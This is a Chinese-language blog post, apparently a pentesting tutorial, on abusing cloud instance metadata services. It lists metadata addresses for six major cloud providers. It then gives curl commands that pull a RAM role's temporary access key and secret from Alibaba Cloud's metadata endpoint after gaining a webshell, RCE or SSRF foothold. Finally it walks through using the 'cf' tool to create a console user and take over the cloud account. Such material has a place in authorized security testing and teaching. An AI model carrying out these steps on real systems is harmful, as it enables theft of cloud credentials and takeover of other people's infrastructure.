元数据利用

元数据

实例元数据(metadata)包含了弹性计算云服务器实例在阿里云系统中的信息,您可以在运行中的实例内方便地查看实例元数据,并基于实例元数据配置或管理实例。(基本信息:实例ID、IP地址、网卡MAC地址、操作系统类型等信息。实例标识包括实例标识文档和实例标识签名,所有信息均实时生成,常用于快速辨别实例身份。简单理解就是访问这个元数据地址,然后返回服务器的信息

各种云服务器的元数据地址,如果不知道可以直接去官网搜索元数据,然后查找地址

各大云元数据地址:
阿里云元数据地址:http://100.100.100.200/
腾讯云元数据地址:http://metadata.tencentyun.com/
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
RAM角色

理解就是主用户分出了几个下属用户用来一起管理服务器,比如主用户可以有整个服务器的管理权限,然后创建了一个jack的角色,分配给的权限就是管理oss资源,那么这个用户就只能去管理oss资源。没有其他的权限

利用场景

1 拿到了权限比如webshell或者rce权限,并不需要最高权限,只要能够利用服务器进行访问网站的权限就可以了
2 利用条件就是弹性计算配置访问控制角色
如果以上两种条件抖满足就可以使用元数据进行渗透测试,其实不用这样确定,遇到了就直接去尝试,没有就是没有

首先确认是那种云服务器,之后执行命令
// 这个命令就是获取角色名
curl http://100.100.100.200/latest/meta-data/ram/security-credentials

然后第二步

假设第一步执行命令回显为jack,那么第二步就是执行下面的命令进行获取临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/jack
执行完这个命令就能获得这个角色的临时凭证,里面有accesskeyid和secret值。这样就可以利用cf工具接管服务器

cf工具的使用:

1 执行cf config进行配置
cf config
然后就会选择云厂商,根据目标的性质来选择
2 然后就是设置key和secret,输入获得的值
3 然后就能进行服务器接管的操作了
cf alibaba console  # 接管控制台
cf alibaba console -u jack  # 这个命令就会创建一个jack的用户,如果没有-u就会默认创建一个crossfire的用户,之后打开浏览器,输入回显的登录地址和账号密码就能接管控制台了
cf alibaba perm # 获取当前凭证权限和可执行的操作
cf tencent perm
cf huawei perm   
还有很多的命令可以查看cf项目的说明,如果不能执行命令,那么说明这个角色的权限不够

也可以看这篇文章强力推荐

https://wiki.teamssix.com/

利用场景2 配合ssrf漏洞进行测试

对有ssrf漏洞的站点进行执行以上的命令进行获取,如果没有回显就通过写入文件或者带外(ssrf无回显测试方法)进行测试
原理:就是让服务器进行执行命令,而不需要我们获取权限。相当于通过服务器执行并不用我们登录服务器去操作。

posted @ 2023-11-22 22:09  Running_J  阅读(29)  评论(0编辑  收藏  举报